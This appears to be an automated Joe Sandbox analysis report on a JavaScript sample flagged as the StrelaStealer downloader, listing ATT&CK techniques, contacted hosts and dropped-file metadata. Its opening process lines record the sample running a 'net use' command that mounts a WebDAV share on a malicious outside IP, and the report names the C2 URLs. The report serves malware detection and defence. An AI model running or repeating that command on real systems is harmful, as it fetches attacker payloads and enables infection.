Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
155442583088718889.js	11%	Virustotal		Browse
155442583088718889.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/c)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2591756037.0000017EE3200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1364834232.000001E45EB50000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1364902579.000001E45EB7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1358338193.0000017EE3400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/c)	net.exe, 00000007.00000002.1364834232.000001E45EB50000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1364902579.000001E45EB6D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1360210854.000001E45EB6D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589086
Start date and time:	2025-01-11 09:20:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	155442583088718889.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.22.242.11, 2.22.242.123, 2.16.168.105, 2.16.168.107, 23.200.0.33, 23.200.0.21, 13.107.246.45, 3.233.129.217, 4.175.87.197, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:21:48	API Interceptor	23x Sleep call for process: powershell.exe modified
03:21:52	API Interceptor	1x Sleep call for process: net.exe modified
03:21:52	API Interceptor	2x Sleep call for process: svchost.exe modified
03:21:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	29090377787711675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	871073659923481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	904223203151262489.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807421235057906
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9C:0J7adfWuK0p/QDfKoPeuP0aN4fqoxl
MD5:	48279EEBFC3FB4EB0CE819E42727F86E
SHA1:	F06C724AA5F1F20EFA16371B39C51DC11DA086C0
SHA-256:	475BB90AA71D986192D63D7D9C0EB83F74CE0639395CCA807605BA19C9835D2B
SHA-512:	A192780AC0E46D61DEFF7E89F8D7BE4582870D2C7BA64A004F15E0F5D8D2A55E6E0D2413FFAEF7AE99209B0CAFFF78876EBC48DC8568B8638FF663E6D31E913F
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6a98344e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880185454753273
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:XazaPv4V4fXq2UaB
MD5:	F11A1A9A945C2FF1D62E194E773CD4C8
SHA1:	5699FBC665872E8886A40F13F7220C78BD35B9A3
SHA-256:	A9FD42F41A3F13ACE05AD42F65EE6B79729F8D0A74D7112231CCE713AE9D50D6
SHA-512:	6C58128461BDC547BD585DBB1814F0448D144E2B8EFA0A878F7BE853D409F4034A781963B95A6FE0411393007045B014912C154E6AAE6A07F1DC3322925D7613
Malicious:	false
Preview:	j.4N... ...............X\...;...{......................X............{..4....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................bz.4....}.8.................0.v4....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08110373459767303
Encrypted:	false
SSDEEP:	3:WFt/KYemHEXlVG0+q2Iqe8lqXRSollNTt/4ll/Q6beV/:U/Kz9GE8lqBPHtc6V
MD5:	A0802FAAD2D9F2B32CF26B5EF660A1C3
SHA1:	17C436008B4C246D26CA4E7D8241F9E31844AFA6
SHA-256:	201F29628EAA42D177D95C364E731393921EC91A3368282B33B0DBB682810613
SHA-512:	26572950A2E9EED260A60EAB418244B4E2D20DC214B2B9D4F7650AC732F0C7EE2B174AAA6363E7289848954C5BE186F4168AD7889EC7941E373BE2D3592698DE
Malicious:	false
Preview:	........................................;...{..4....}.......{...............{.......{....:......{..................0.v4....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.195829490711495
Encrypted:	false
SSDEEP:	6:iOlu5Fu4q2PFi2nKuAl9OmbnIFUtHubjJZmwpubjDkwOFi2nKuAl9OmbjLJ:7ag4vdZHAahFUtcJ/eD5wZHAaSJ
MD5:	DD7FA0E3329B406B59B6BD777D0BDDA4
SHA1:	55048F3ADB5F4451B8BE559DE47BFD6181DF1151
SHA-256:	A02F3837FBBFF87069EFD6DD948BAD8742FC173FC1CD9FC1FB006423E1A51D6C
SHA-512:	B66BB71059B7D3034602FA1A0E5A49DB4AFD648A6D687E68020FCC1FB023882F4A7F34DA7E49D69278358AA2496825F614C5A84DD2A6D50B087EC01C94BA8FFA
Malicious:	false
Preview:	2025/01/11-03:21:52.180 16f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:21:52.183 16f4 Recovering log #3.2025/01/11-03:21:52.183 16f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.195829490711495
Encrypted:	false
SSDEEP:	6:iOlu5Fu4q2PFi2nKuAl9OmbnIFUtHubjJZmwpubjDkwOFi2nKuAl9OmbjLJ:7ag4vdZHAahFUtcJ/eD5wZHAaSJ
MD5:	DD7FA0E3329B406B59B6BD777D0BDDA4
SHA1:	55048F3ADB5F4451B8BE559DE47BFD6181DF1151
SHA-256:	A02F3837FBBFF87069EFD6DD948BAD8742FC173FC1CD9FC1FB006423E1A51D6C
SHA-512:	B66BB71059B7D3034602FA1A0E5A49DB4AFD648A6D687E68020FCC1FB023882F4A7F34DA7E49D69278358AA2496825F614C5A84DD2A6D50B087EC01C94BA8FFA
Malicious:	false
Preview:	2025/01/11-03:21:52.180 16f4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:21:52.183 16f4 Recovering log #3.2025/01/11-03:21:52.183 16f4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.116140976502145
Encrypted:	false
SSDEEP:	6:iOlurw4q2PFi2nKuAl9Ombzo2jMGIFUtHurqDJZmwpurhF3DkwOFi2nKuAl9OmbX:794vdZHAa8uFUtlDJ/sF3D5wZHAa8RJ
MD5:	C959A2AC586719D3526EFEE64D398561
SHA1:	17555819FA9B48F2E7BF5F537B013A77C8DD3F97
SHA-256:	41738FEAFEA63E382DBD6BDE201F464372E0975EFA0FBBC5BDF431A6A3EAA9AF
SHA-512:	A23A68C84CCA828B914F65521E0F6273B852522EF095E7D3068121BDDBECC1264EF074384E370485C396B3EF64303D813B5FE7DA12186C6E35C0A166B522F9FB
Malicious:	false
Preview:	2025/01/11-03:21:52.255 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:21:52.257 1cf0 Recovering log #3.2025/01/11-03:21:52.258 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.116140976502145
Encrypted:	false
SSDEEP:	6:iOlurw4q2PFi2nKuAl9Ombzo2jMGIFUtHurqDJZmwpurhF3DkwOFi2nKuAl9OmbX:794vdZHAa8uFUtlDJ/sF3D5wZHAa8RJ
MD5:	C959A2AC586719D3526EFEE64D398561
SHA1:	17555819FA9B48F2E7BF5F537B013A77C8DD3F97
SHA-256:	41738FEAFEA63E382DBD6BDE201F464372E0975EFA0FBBC5BDF431A6A3EAA9AF
SHA-512:	A23A68C84CCA828B914F65521E0F6273B852522EF095E7D3068121BDDBECC1264EF074384E370485C396B3EF64303D813B5FE7DA12186C6E35C0A166B522F9FB
Malicious:	false
Preview:	2025/01/11-03:21:52.255 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:21:52.257 1cf0 Recovering log #3.2025/01/11-03:21:52.258 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.972333056366541
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkGcwWtsBdOg2Htcaq3QYiubpP7E4T3y:Y2sRdsucjOdMHc3QYhbd7nby
MD5:	A3A8ACECEDE57114240C13CBFB4B9E57
SHA1:	82EE9535DB3BBF17585C8DCE0B5522435323980C
SHA-256:	9CCAF05FC2869B9AAEBD7B514845453DC0CB48A425A438CD486C4C9A4B602DD8
SHA-512:	9BB9DAB16194F9AC8FE95AFCDC5AC7217109C6DE5AA68C0324112A539EF25CC52C92702627B7F2B77B5779CEC2F07282354D9CA397A102C5CB737753D67464EA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143723996635","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135028},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f1ac9e5d-532e-4410-8175-ef42016ea8f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.972333056366541
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkGcwWtsBdOg2Htcaq3QYiubpP7E4T3y:Y2sRdsucjOdMHc3QYhbd7nby
MD5:	A3A8ACECEDE57114240C13CBFB4B9E57
SHA1:	82EE9535DB3BBF17585C8DCE0B5522435323980C
SHA-256:	9CCAF05FC2869B9AAEBD7B514845453DC0CB48A425A438CD486C4C9A4B602DD8
SHA-512:	9BB9DAB16194F9AC8FE95AFCDC5AC7217109C6DE5AA68C0324112A539EF25CC52C92702627B7F2B77B5779CEC2F07282354D9CA397A102C5CB737753D67464EA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143723996635","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135028},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.226374104036916
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVmE28:wshFT0h7cZb2EVKZPEANcGIK5EVmE3
MD5:	F24CD1F9C21867FA342B4E503FABC81A
SHA1:	5AA83526DB8DA3C96D7BE3B2329FE0286D316452
SHA-256:	EC5A03C1EDAC70B93FBD8543A6C536ED4FFE35DE8104CDD23B5C6A609A22CD7B
SHA-512:	9F5C99F155C0E989A324AC770386AA3C2D30FEA7EB39C00A04FCCC6BACD084693A33D54287F61BA4A03BB9940D442B8E371D47C90A0954ACA45CF0B91910C45C
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.148913705590494
Encrypted:	false
SSDEEP:	6:iOlue4q2PFi2nKuAl9OmbzNMxIFUtHuF3JZmwpu0DkwOFi2nKuAl9OmbzNMFLJ:734vdZHAa8jFUtaJ/FD5wZHAa84J
MD5:	9067AB88599121A7192D69A8DC40C854
SHA1:	D774A314E877B6EA79B8C3C0F930808DEBA29C17
SHA-256:	3F369DFB058DB9AC02A6E21CC94B19E46AA989F954222FF26D3464F75F97B2BF
SHA-512:	AE0B1846100EEC99ADB007C52F409F1B34AE1CF93947EFFDB9688D0FEA70F9D537E24E2B5BBFFB5F4F6A32328FBB73462A14D72D5B470C3ACBC145C60F4EDEAD
Malicious:	false
Preview:	2025/01/11-03:21:52.460 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:21:52.461 1cf0 Recovering log #3.2025/01/11-03:21:52.462 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.148913705590494
Encrypted:	false
SSDEEP:	6:iOlue4q2PFi2nKuAl9OmbzNMxIFUtHuF3JZmwpu0DkwOFi2nKuAl9OmbzNMFLJ:734vdZHAa8jFUtaJ/FD5wZHAa84J
MD5:	9067AB88599121A7192D69A8DC40C854
SHA1:	D774A314E877B6EA79B8C3C0F930808DEBA29C17
SHA-256:	3F369DFB058DB9AC02A6E21CC94B19E46AA989F954222FF26D3464F75F97B2BF
SHA-512:	AE0B1846100EEC99ADB007C52F409F1B34AE1CF93947EFFDB9688D0FEA70F9D537E24E2B5BBFFB5F4F6A32328FBB73462A14D72D5B470C3ACBC145C60F4EDEAD
Malicious:	false
Preview:	2025/01/11-03:21:52.460 1cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:21:52.461 1cf0 Recovering log #3.2025/01/11-03:21:52.462 1cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43858055237478
Encrypted:	false
SSDEEP:	384:Ce/ci5G4iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:YUurVgazUpUTTGt
MD5:	590267FFC8A6FBAF066A35EBACFCB10E
SHA1:	1DE11107F551E33027FD68A58874C1EB16588667
SHA-256:	9CF705299DAF80A462CF86E01997D41B5AA96326834627BB928556999118E6CF
SHA-512:	9E1D64CDD0EE8232CA4087339F4A384A42F4C2AA3D4AC9CB46FD8CC9F922BD43BCC62ADF4FC603B1A29E83C4AB5AF07B5C88041F4FD3E63B91D9ECD7E4156745
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2144218305052865
Encrypted:	false
SSDEEP:	24:7+tOG6wKzqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzH:7M7Wzq/mFTIF3XmHjBoGGR+jMz+Lhm
MD5:	2963FC8859A7D9F2628AABA6EB94E3AA
SHA1:	28468566F40ECF22417244980EE52FABC499BFFC
SHA-256:	2ED93F31AF7BBE1629AF1394B4EF7D08842056228681EBAAB6CE962C65B17F73
SHA-512:	BC0DF85E72EC6832D9AF17EF298B34ABC6716D243C70740A11F11F3C80B6462AF295E1D674A749448292341F705FDF962E505CD7F56C45B3E391F30E1A4A9AD6
Malicious:	false
Preview:	.... .c.......e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
